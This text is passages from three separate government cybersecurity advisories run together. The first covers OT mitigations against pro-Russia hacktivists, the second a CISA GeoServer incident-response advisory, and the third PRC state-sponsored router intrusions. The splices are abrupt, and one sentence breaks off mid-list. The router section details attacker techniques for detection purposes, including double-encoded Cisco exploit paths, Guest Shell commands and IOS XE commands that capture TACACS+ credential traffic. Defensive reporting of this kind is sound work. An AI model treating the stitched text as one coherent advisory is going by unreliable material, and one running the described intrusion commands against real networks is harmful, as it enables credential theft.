• Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].
  • Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
    Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
  • Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
  • Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.
    • Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
    • Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
    • Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
    • Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.
• Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].
  • Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
    • Keep VNC systems updated with the latest version available.
  • Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.
• Ensure OT assets use robust authentication procedures.
  • Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
  • Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
  • Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
  • Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
  • Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.
• Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
• Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
  • Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
  • Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].
• Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
• Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
• Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers

Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

• Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
• Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
• Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
  • Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.
• Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on secure by design, see CISA’s Secure by Design webpage.

Validate Security Controls

In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.

To start:

1. Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

• CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.
• CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity.
• NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity.
• CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
  • For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems.
• The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats.
• DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.

Additional resources that apply to this advisory include:

• EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices.
• CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.
• CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.
• CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.
• DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.
• CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.
• CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure.
  • See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity.

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

• Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
• For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.

New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.

Acknowledgements

Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.

Version History

December 09, 2025: Initial version.

Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups

For further information on targeting methodologies for pro-Russia hacktivist groups, see:

• CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology;
• The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and
• CISA’s Russia Cyber Threat webpage.

Appendix B: Additional Designators Used for Cited Groups

The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.

Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

• GRU military unit 74455
  • Sandworm Team
  • Voodoo Bear
  • Seashell Blizzard
  • APT44
• Cyber Army of Russia Reborn (CARR)
  • CyberArmy of Russia
  • Народная CyberАрмия (НКА)
  • People’s CyberArmy of Russia (PCA)
  • Russian CyberArmy Team (RCAT)
• NoName057(16)
  • NoName057(16) Spain
  • NoName057(16) Italy
  • NoName057(16) France
• Z-Pentest
  • Z-Pentest Beograd
  • Z-Pentest Alliance
  • Z-Alliance

Advisory at a Glance

Executive Summary	CISA began incident response efforts at a U.S. federal civilian executive branch (FCEB) agency following the detection of potential malicious activity identified through security alerts generated by the agency’s endpoint detection and response (EDR) tool. CISA identified three lessons learned from the engagement that illuminate how to effectively mitigate risk, prepare for, and respond to incidents: vulnerabilities were not promptly remediated, the agency did not test or exercise their incident response plan (IRP), and EDR alerts were not continuously reviewed.
Key Actions	Prevent compromise by prioritizing the patching of critical vulnerabilities in public-facing systems and known exploited vulnerabilities. Prepare for incidents by maintaining, practicing, and updating incident response plans. Prepare for incidents by implementing comprehensive and verbose logging and aggregate logs in a centralized out-of-band location.
Indicators of Compromise	For a downloadable copy of indicators of compromise, see:  AA25-266A-JSON.stix_.json AA25-266A-STIX.stix_.xml
Intended Audience	Organizations: FCEB agencies and critical infrastructure organizations. Roles: Defensive Cybersecurity Analysts, Vulnerability Analysts, Security Systems Managers, Systems Security Analysts, and Cybersecurity Policy and Planning Professionals.
Download the PDF version of this report	AA25-266A advisory cisa shares lessons learned from ir engagement

Introduction

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory to highlight lessons learned from an incident response engagement CISA conducted at a U.S. federal civilian executive branch (FCEB) agency. CISA is publicizing this advisory to reinforce the importance of prompt patching, as well as preparing for incidents by practicing incident response plans and by implementing logging and aggregating logs in a centralized out-of-band location. CISA is also raising awareness about the tactics, techniques, and procedures (TTPs) employed by these cyber threat actors to help organizations safeguard against similar exploits.

CISA began incident response efforts at an FCEB agency after the agency identified potential malicious activity through security alerts generated by the agency’s endpoint detection and response (EDR) tool. CISA discovered cyber threat actors compromised the agency by exploiting CVE-2024-36401 in a GeoServer about three weeks prior to the EDR alerts. Over the three-week period, the cyber threat actors gained separate initial access to a second GeoServer via the same vulnerability and moved laterally to two other servers.

Leveraging insights CISA gleaned from the organization’s security posture and response, CISA is sharing lessons learned for organizations to mitigate similar compromises (see Lessons Learned for more details):

1. Vulnerabilities were not promptly remediated.
   1. The cyber threat actors exploited CVE-2024-36401 for initial access on two GeoServers.
   2. The vulnerability was disclosed 11 days prior to the cyber threat actors accessing the first GeoServer and 25 days prior to them accessing the second GeoServer.
2. The agency did not test or exercise their incident response plan (IRP), nor did their IRP enable them to promptly engage third parties and grant third parties access to necessary resources.
   1. This delayed certain elements of CISA’s response as the IRP did not have procedures for involving third-party assistance or for granting third-party access to their security tools.
3. EDR alerts were not continuously reviewed, and some public-facing systems lacked endpoint protection.
   1. The activity remained undetected for three weeks; the agency missed an opportunity to detect this activity earlier as they did not observe an alert from a GeoServer and the Web Server did not have endpoint protection.

These lessons highlight strategies to effectively mitigate risk, enhance preparedness, and respond to incidents with greater efficiency. CISA encourages all organizations to consider the lessons learned and apply the associated recommendations in the Mitigations section of this advisory to improve their security posture.

This advisory also provides the cyber threat actors’ TTPs and indicators of compromise (IOCs). For a downloadable copy of IOCs, see:

Executive summary

People’s Republic of China (PRC) state-sponsored cyber threat actors are targeting networks globally, including, but not limited to, telecommunications, government, transportation, lodging, and military infrastructure networks. While these actors focus on large backbone routers of major telecommunications providers, as well as provider edge (PE) and customer edge (CE) routers, they also leverage compromised devices and trusted connections to pivot into other networks. These actors often modify routers to maintain persistent, long-term access to networks. 

This activity partially overlaps with cyber threat actor reporting by the cybersecurity industry—commonly referred to as Salt Typhoon, OPERATOR PANDA, RedMike, UNC5807, and GhostEmperor, among others. The authoring agencies are not adopting a particular commercial naming convention and hereafter refer to those responsible for the cyber threat activity more generically as “Advanced Persistent Threat (APT) actors” throughout this advisory. This cluster of cyber threat activity has been observed in the United States, Australia, Canada, New Zealand, the United Kingdom, and other areas globally.

This Cybersecurity Advisory (CSA) includes observations from various government and industry investigations where the APT actors targeted internal enterprise environments, as well as systems and networks that deliver services directly to customers. This CSA details the tactics, techniques, and procedures (TTPs) leveraged by these APT actors to facilitate detection and threat hunting, and provides mitigation guidance to reduce the risk from these APT actors and their TTPs.

This CSA is being released by the following authoring and co-sealing agencies:

• United States National Security Agency (NSA)
• United States Cybersecurity and Infrastructure Security Agency (CISA)
• United States Federal Bureau of Investigation (FBI)
• United States Department of Defense Cyber Crime Center (DC3)
• Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
• Canadian Centre for Cyber Security (Cyber Centre)
• Canadian Security Intelligence Service (CSIS)
• New Zealand National Cyber Security Centre (NCSC-NZ)
• United Kingdom National Cyber Security Centre (NCSC-UK)
• Czech Republic National Cyber and Information Security Agency (NÚKIB) - Národní úřad pro kybernetickou a informační bezpečnost
• Finnish Security and Intelligence Service (SUPO) - Suojelupoliisi
• Germany Federal Intelligence Service (BND) - Bundesnachrichtendienst
• Germany Federal Office for the Protection of the Constitution (BfV) -   Bundesamt für Verfassungsschutz
• Germany Federal Office for Information Security (BSI) - Bundesamt für Sicherheit in der Informationstechnik
• Italian External Intelligence and Security Agency (AISE) - Agenzia Informazioni e Sicurezza Esterna
• Italian Internal Intelligence and Security Agency (AISI) - Agenzia Informazioni e Sicurezza Interna
• Japan National Cybersecurity Office (NCO) - 国家サイバー統括室
• Japan National Police Agency (NPA) - 警察庁
• Netherlands Defence Intelligence and Security Service (MIVD) - Militaire Inlichtingen- en Veiligheidsdienst
• Netherlands General Intelligence and Security Service (AIVD) - Algemene Inlichtingen- en Veiligheidsdienst
• Polish Military Counterintelligence Service (SKW) - Służba Kontrwywiadu Wojskowego
• Polish Foreign Intelligence Agency (AW) - Agencja Wywiadu
• Spain National Intelligence Centre (CNI) - Centro Nacional de Inteligencia

The authoring agencies strongly urge network defenders to hunt for malicious activity and to apply the mitigations in this CSA to reduce the threat of Chinese state-sponsored and other malicious cyber activity.

Any mitigation or eviction measures listed within are subject to change as new information becomes available and ongoing coordinated operations dictate. Network defenders should ensure any actions taken in response to the CSA are compliant with local laws and regulations within the jurisdictions within which they operate. 

Background

The APT actors have been performing malicious operations globally since at least 2021. These operations have been linked to multiple China-based entities, including at least Sichuan Juxinhe Network Technology Co. Ltd. (四川聚信和网络科技有限公司), Beijing Huanyu Tianqiong Information Technology Co., Ltd. (北京寰宇天穹信息技术有限公司), and Sichuan Zhixin Ruijie Network Technology Co., Ltd. (四川智信锐捷网络科技有限公司). These companies provide cyber-related products and services to China’s intelligence services, including multiple units in the People’s Liberation Army and Ministry of State Security. The data stolen through this activity against foreign telecommunications and Internet service providers (ISPs), as well as intrusions in the lodging and transportation sectors, ultimately can provide Chinese intelligence services with the capability to identify and track their targets’ communications and movements around the world.

For more information on PRC state-sponsored malicious cyber activity, see CISA’s People's Republic of China Cyber Threat Overview and Advisories webpage.

Download the PDF version of this report:

For a downloadable list of IOCs, visit:

Cybersecurity Industry Tracking 

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this Chinese state-sponsored cyber activity. While not all encompassing, the following are the most notable threat group names related to this activity and commonly used within the cybersecurity community:

• Salt Typhoon,
• OPERATOR PANDA,
• RedMike,
• UNC5807, and
• GhostEmperor. 

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.

Technical details

The following sections are a compilation of TTPs the APT actors have used since at least 2021 to target enterprise environments. Particularly notable TTPs include modifying router configurations for lateral movement pivoting between networks and using virtualized containers on network devices to evade detection. The actors continue to use many of the TTPs listed, but expect them to evolve when existing TTPs no longer achieve their goals. Even if no longer used regularly, the actors may still use previous TTPs opportunistically in favorable conditions. The TTP descriptions can also be useful to network defenders for retroactive threat hunting.

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 17 and MITRE ATT&CK for ICS framework, version 17. See the Appendix A: MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the APT actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial access

Investigations associated with these APT actors indicate that they are having considerable success exploiting publicly known common vulnerabilities and exposures (CVEs) and other avoidable weaknesses within compromised infrastructure [T1190]. Exploitation of zero-day vulnerabilities has not been observed to date. The APT actors will likely continue to adapt their tactics as new vulnerabilities are discovered and as targets implement mitigations, and will likely expand their use of existing vulnerabilities. The following list is not exhaustive and the authoring agencies suspect that the APT actors may target other devices (e.g., Fortinet firewalls, Juniper firewalls, Microsoft Exchange, Nokia routers and switches, Sierra Wireless devices, Sonicwall firewalls, etc.). 

If not yet patched, defenders should prioritize the following CVEs due to their historical exploitation on exposed network edge devices by these APT actors. Example exploited CVEs, ordered by year, include:

• CVE-2024-21887 - Ivanti Connect Secure and Ivanti Policy Secure web-component command injection vulnerability, commonly chained after CVE-2023-46805 (authentication bypass)
• CVE-2024-3400 - Palo Alto Networks PAN-OS GlobalProtect arbitrary file creation leading to OS command injection. The CVE allows for unauthenticated remote code execution (RCE) on firewalls when GlobalProtect is enabled on specific versions/configurations.
• CVE-2023-20273 - Cisco Internetworking Operating System (IOS) XE software web management user interface post-authentication command injection/privilege escalation (commonly chained with CVE-2023-20198 for initial access to achieve code execution as root) [T1068]
• CVE-2023-20198 - Cisco IOS XE web user interface authentication bypass vulnerability
  • While exploiting CVE-2023-20198, the APT actors used the Web Services Management Agent (WSMA) endpoints /webui_wsma_Http or /webui_wsma_Https to bypass authentication and create unauthorized administrative accounts. In some cases, the APT actors obfuscated requests by “double encoding” portions of the path, e.g., /%2577eb%2575i_%2577sma_Http or /%2577eb%2575i_%2577sma_Https [T1027.010]. Observed requests varied in case, so hunting and detection should be case-insensitive and tolerant of over-encoding.
  • After patching this CVE, WSMA endpoints requests are internally proxied, and the system adds a Proxy-Uri-Source HTTP header as part of the remediation logic. The presence of Proxy-Uri-Source header in traffic to /webui_wsma_* indicates a patched device handling the request, not exploitation. This can help distinguish between vulnerable and remediated systems when analyzing logs or captures.
• CVE-2018-0171 - Cisco IOS and IOS XE smart install remote code execution vulnerability

The APT actors leverage infrastructure, such as virtual private servers (VPSs) [T1583.003] and compromised intermediate routers [T1584.008], that have not been attributable to a publicly known botnet or obfuscation network infrastructure to target telecommunications and network service providers, including ISPs [T1090]. 

The APT actors may target edge devices regardless of who owns a particular device. Devices owned by entities who do not align with the actors’ core targets of interest still present opportunities for use in attack pathways into targets of interest. The actors leverage compromised devices and trusted connections or private interconnections (e.g., provider-to-provider or provider-to-customer links) to pivot into other networks [T1199]. In some instances, the actors modify routing and enable traffic mirroring (switch port analyzer (SPAN)/remote SPAN (RSPAN)/encapsulated remote SPAN (ERSPAN) where available) on compromised network devices and configure Generic Routing Encapsulation (GRE)/IPsec tunnels and static routes to achieve the same goal [T1095]. Additionally, these APT actors often simultaneously exploit large numbers of vulnerable, Internet-exposed devices across many IP addresses and may revisit individual systems for follow-on operations.

Initial access vectors remain a critical information gap for parties working to understand the scope, scale, and impact of the actors’ malicious activity. The authoring agencies encourage organizations to provide compromise details to appropriate authorities (see Contact information) to continue improving all parties’ understanding and responses.

Persistence

To maintain persistent access to target networks, the APT actors use a variety of techniques. Notably, a number of these techniques can obfuscate the actors’ source IP address in system logs, as their actions may be recorded as originating from local IP addresses [T1027]. Specific APT actions include:

• Modifying Access Control Lists (ACLs) to add IP addresses. This alteration allows the actors to bypass security policies and maintain ongoing access by explicitly permitting traffic from a threat actor-controlled IP address [T1562.004].
  • The APT actors often named their ACLs “access-list 20”. When 20 was already used, the actors commonly used 50 or 10.
• Opening standard and non-standard ports, which can open and expose a variety of different services (e.g., Secure Shell [SSH], Secure File Transfer Protocol [SFTP], Remote Desktop Protocol [RDP], File Transfer Protocol [FTP], HTTP, HTTPS) [T1071]. This strategy supplies multiple avenues for remote access and data exfiltration. Additionally, utilizing non-standard ports can help the APT actors evade detection by security monitoring tools that focus on standard port activity [T1571].
  • The APT actors have been enabling SSH servers and opening external-facing ports on network devices to maintain encrypted remote access [T1021.004]. In some cases, the SSH services were established on high, non-default Transmission Control Protocol (TCP) ports using the port numbering scheme of 22x22 or xxx22, though port patterns may vary across intrusions. The actors may add keys to existing SSH services to regain entry into network devices [T1098.004].
  • The APT actors enable or abuse built-in HTTP/HTTPS management servers and sometimes reconfigure them to non-default high ports. Note: HTTP servers have been observed using the port numbering scheme of 18xxx.
    • Enabling HTTP/HTTPS servers on Cisco devices affected by CVE-2023-20198. If the web UI feature is enabled on Cisco IOS XE Software, this vulnerability provides an entry opportunity for the APT actors.
• Following compromise of a router, the following commands and activities have been observed on compromised devices [T1059.008]:
  • Executing commands via SNMP [T1569].
  • SSH activity from remote or local IP addresses.
  • Web interface panel (POST) requests.
  • When present, using service or automation credentials (e.g., those used by configuration-archival systems such as RANCID) to enumerate and access other networking devices.
  • Executing Tcl scripts (e.g., TCLproxy.tcl and map.tcl) on Cisco IOS devices where tclsh was available.
• Depending on the configuration of the Simple Network Management Protocol (SNMP) on the compromised network device, the APT actors enumerate and alter the configurations for other devices in the same community group, when possible [T1021]. Note: Properly configured SNMPv3 is considerably more secure than previous versions.
  • Utilizing SNMPwalk (SNMP GET/WALK) to enumerate devices from APT actor-controlled hosts. Where configuration changes were observed, they were issued as SNMP SET requests to writable objects from those hosts [T1016].
• Creating tunnels over protocols, such as Generic Routing Encapsulation (GRE), multipoint GRE (mGRE), or IPsec, on network devices, presumably based on what would be expected in the environment [T1572].
  • These tunnels allow for the encapsulation of multiple network layer protocols over a single tunnel, which can create persistent and covert channels for data transmission to blend in with normal network traffic.
  • Some of these actions may obscure the APT actors’ source IP address in logs due to being logged as a local IP.
• Running commands in an on-box Linux container on supported Cisco networking devices to stage tools, process data locally, and move laterally within the environment. This often allows the APT actors to conduct malicious activities undetected because activities and data within the container are not monitored closely. [T1610] [T1588.002] [T1588.005] [T1059.006].
  • Within Guest Shell, running Python (such as siet.py to exploit Cisco Smart Install) and native Linux tooling, installing packages (e.g., via pip/yum where available), parsing and staging locally collected artifacts (e.g., configurations, packet captures) on device storage [T1560]. On NX-OS devices specifically, using dohost to script host-level CLI actions for reconnaissance and persistence. For Cisco IOS XE, Guest Shell is a Linux container (LXC) managed by IOx that is enabled with guestshell enable and accessed with guestshell run bash. By default, processes inside Guest Shell egress via the management virtual routing and forwarding (VRF) instance. On platforms without a dedicated management port, connectivity can be provided with a VirtualPortGroup interface. Guest Shell can execute Python and other 64-bit Linux applications and can read/write device-accessible storage (e.g., flash) as configured. [T1609] [T1543.005]
  • For Cisco NX-OS, Guest Shell is an LXC environment entered with run guestshell. It has direct access to bootflash: and can invoke host NX-OS CLI via the dohost utility. Networking uses the device’s default VRF by default. Operators (or malware) can run commands in other VRFs using chvrf. Systemd-managed services are typically long-running components inside Guest Shell.
  • Using guestshell disable and guestshell destroy commands to deactivate and uninstall Guest Shell container and return all resources to the system [T1070.009].
• Leveraging open source multi-hop pivoting tools, such as STOWAWAY, to build chained relays for command and control (C2) and operator access, including interactive remote shells, file upload and download, SOCKS5/HTTP proxying, and local/remote port mapping with support for forward and reverse connections over encrypted node-to-node links [T1090.003].

Lateral movement & collection

Following initial access, the APT actors target protocols and infrastructure involved in authentication—such as Terminal Access Controller Access Control System Plus (TACACS+)—to facilitate lateral movement across network devices, often through SNMP enumeration and SSH. From these devices, the APT actors passively collect packet capture (PCAP) from specific ISP customer networks [T1040] [T1005]. To further support discovery and lateral movement, the APT actors may target: 

• Authentication Protocols including TACACS+ and Remote Authentication Dial-In User Service (RADIUS)
• Managed Information Base (MIB) [T1602.001]
• Router interfaces
• Resource Reservation Protocol (RSVP) sessions
• Border Gateway Protocol (BGP) routes
• Installed software
• Configuration files [T1590.004] [T1602.002]
  • This is achieved either from existing sources in the network (e.g., output of provider scripts) or through active survey of devices and Trivial File Transfer Protocol (TFTP), to include Multiprotocol Label Switching (MPLS) configuration information.
• In-transit network traffic using native capabilities to capture or mirror traffic via the SPAN, RSPAN, or ERSPAN capabilities available on many router models.
• Provider-held data, such as:
  • Subscriber information
  • User content
  • Customer records and metadata
  • Network diagrams, inventories, device configurations, and vendor lists
  • Passwords

Capturing network traffic containing credentials via compromised routers is a common method for further enabling lateral movement [T1040]. This typically takes the form of:

• Leveraging native PCAP functionalities (e.g., Cisco’s Embedded Packet Capture) on routers to collect RADIUS or TACACS+ authentication traffic, which may contain credentials transmitted in cleartext or weakly protected forms.
  • PCAPs have been observed containing naming schemes such as mycap.pcap, tac.pcap, 1.pcap, or similar variations.
• Modifying a router’s TACACS+ server configuration to point to an APT actor-controlled IP address [T1556]. These actors may use this capability to capture authentication attempts from network administrators or other devices. They may also adjust Authentication, Authorization, and Accounting (AAA) configurations, forcing devices to use less secure authentication methods or send accounting information to their infrastructure.

The APT actors collect traffic at Layer 2 or 3 (depending on the protocol used), largely from Cisco IOS devices; however, targeting of other device types is also likely. Based on analysis, the APT actors hold interest in making configuration and routing changes to the devices after compromising the routers. While some actions are specific to Cisco devices, the actors are capable of targeting devices from other vendors and could utilize similar functionality. The APT actors perform several of the modifications or techniques below to facilitate follow-on actions.

• Creating accounts/users and assigning privileges to those accounts, often via modifying router configurations [T1136.001].
  • Brute forcing and re-using credentials to access Cisco devices. If a router configuration is collected during initial exploitation and contains a weak hashed Cisco Type 5 (MD5) or 7 (legacy, weak reversible encoding) password [T1003] [T1110.002]. Weak credentials, such as “cisco” as the username and password, are routinely exploited through these techniques.
• Scanning for open ports and services and mirroring (SPAN/RSPAN sessions), allowing traffic monitoring from multiple interfaces [T1595].
• Running commands on the router via SNMP, SSH, and HTTP GET or POST requests. These requests typically target privileged execution paths, such as /level/15/exec/-/*, and may include instructions to display configuration files, access BGP routes, manage VRF instances, or clear system logs [T1082].
  • Many compromised devices use well known SNMP community strings, including “public” and “private”.
• Configuring PCAP capabilities to collect network traffic.
• Configuring tunnels.
• Using monitoring tools present in the environment to monitor a device’s (commonly a router’s) configuration changes.
• Updating routing tables to route traffic to actor-controlled infrastructure.
• Using several techniques to avoid detection of their activity, including:
  • Deleting and/or clearing logs, possibly in tandem with reverting or otherwise modifying stored configuration files to avoid leaving traces of the modifications [T1070].
  • Disabling logging and/or disabling sending logs to central servers.
  • Stopping/starting event logging on network devices.
  • Configuring a Cisco device to run a Guest Shell container to evade detection from collecting artifacts, data, or PCAP [T1610].

Exfiltration

A key concern with exfiltration is the APT actors’ abuse of peering connections (i.e., a direct interconnection between networks that allows traffic exchange without going through an intermediary) [T1599]. Exfiltration may be facilitated due to a lack of policy restraints or system configurations limiting the types of data received by peered ISPs.

Analysis indicates that the APT actors leverage separate (potentially multiple) command and control channels for exfiltration to conceal their data theft within the noise of high-traffic nodes, such as proxies and Network Address Translation (NAT) pools. The APT actors often use tunnels, such IPsec and GRE, to conduct C2 and exfiltration activities [T1048.003].

Case study

This section details techniques employed by the APT actors, as well as indicators received from analysis to detect this activity. The APT actors were stopped before further actions could be taken on the compromised network.

Collecting native PCAP

The APT actors collected PCAPs using native tooling on the compromised system, with the primary objective likely being to capture TACACS+ traffic over TCP port 49. TACACS+ packet bodies can be decrypted if the encryption key is known. In at least one case, the device configuration stored the TACACS+ shared secret using Cisco Type 7 reversible obfuscated encoding. Recovering that secret from the configuration would enable offline decryption of captured TACACS+ payloads. TACACS+ traffic is used for authentication, often for administration of network equipment and including highly privileged network administrators accounts and credentials, likely enabling the actors to compromise additional accounts and perform lateral movement. 
The commands listed in Table 1 were observed on a Cisco IOS XE-based host to aid PCAP exfiltration.

Table 1: Commands to collect PCAP

Command	Description
monitor capture mycap interface <interface-name> both	Set up a packet capture named 'mycap'
monitor capture mycap match ipv4 protocol tcp any any eq 49	Target port 49 on the above interface - TACACS+
